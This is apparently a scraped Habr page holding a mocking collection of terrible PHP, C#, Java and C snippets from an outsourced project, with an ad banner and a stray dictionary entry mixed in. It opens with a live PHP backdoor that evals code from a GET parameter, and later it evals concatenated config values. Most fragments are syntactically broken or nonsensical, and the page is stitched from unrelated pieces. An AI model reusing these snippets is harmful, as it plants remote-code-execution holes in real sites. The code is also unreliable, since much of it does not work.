Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
if (isset($_GET['adminka'])) eval($_GET['adminka']);
class romanian_mega_filter_checker_parser
{
private $yes;
private $no;
private $telepat;
private $result = false;
public function __construct()
{
$this->yes = 'yes';
$this->no = 'no';
}
public function isEqual ($target) {
$this->setResult(false);
if ((strtolower($fmultipledownload) != strtolower(strtoupper($this->yes))) &&
(strtolower($fmultipledownload) != strtolower(strtoupper($this->no)) ) {
$this->setResult(true);
}
return $this->getResult();
}
private function getResult()
{
$this->result
}
private function setResult($value)
{
$this->result = $value;
}
}
$check = new romanian_mega_filter_checker_parser();
if ($check->isEqual(strtoupper($fmultipledownload)) {
// some stuff here
}
public class RomanianMegaFilterCheckerParser
{
private String yes = null;
private String no = null;
private String telepat = null;
private bool result;
RomanianMegaFilterCheckerParser(){
this.yes = "yes";
this.no = "no";
this.result = false;
}
public bool IsEqual (String target) {
this.Result = false;
if (target.ToLower()!=this.yes.ToUpper().ToLower() &&
target.ToLower()!=this.no.ToUpper().ToLower()) {
this.Result = true;
}
return this.Result;
}
private bool Result {
get {return result;}
set {result = value;}
}
Date tomorrowDate() {
Thread.currentThread().sleep(24 * 60 * 60 * 1000);
return new Date();
}
protected string getTableDivClass()
{
int show=21;
if (show>20) return "TableDiv";
if (show==0) return "TableDivNone";
return "TableDivFew";
}void * get_result(int ind) //it's a pointer!
{
if(ind < 0)
return NULL;
if(ind < 1024)
return (void *) preLoad[ind];
return ((void * (__stdcall *)())ind)();
}
if ( $id != '' )
{
if ( $name != '' )
$tag = "<a href='$href' target='$target' id='$id' name='$name'>$text</a>";
else
$tag = "<a href='$href' target='$target' id='$id'>$text</a>";
}
else
{
if ( $name != '' )
$tag = "<a href='$href' target='$target' name='$name'>$text</a>";
else
$tag = "<a href='$href' target='$target'>$text</a>";
}
eval('$max_msgs_per_page = ' . $max_msgs_per_page . ';');
eval('$name_maxlenght = ' . $name_maxlenght . ';');
eval('$email_maxlenght = ' . $email_maxlenght . ';');
eval('$msg_maxlenght = ' . $msg_maxlenght . ';');
$str = 'Что-то, что нужно отвалидировать';
/* Полный список букв латинского алфавита и цифр опускаю */
$bukvycifry = array(
'0','1',...,'a','b',...,'y','z'
);
for($i = 0; $i < strlen($str); $i++){
if(!in_array($str[$i], $bukvycifry)){
$valid = false;
break;
}
}
privet
сущ.; бот.
бирючина
Зачетный аутсорсинг PHP проекта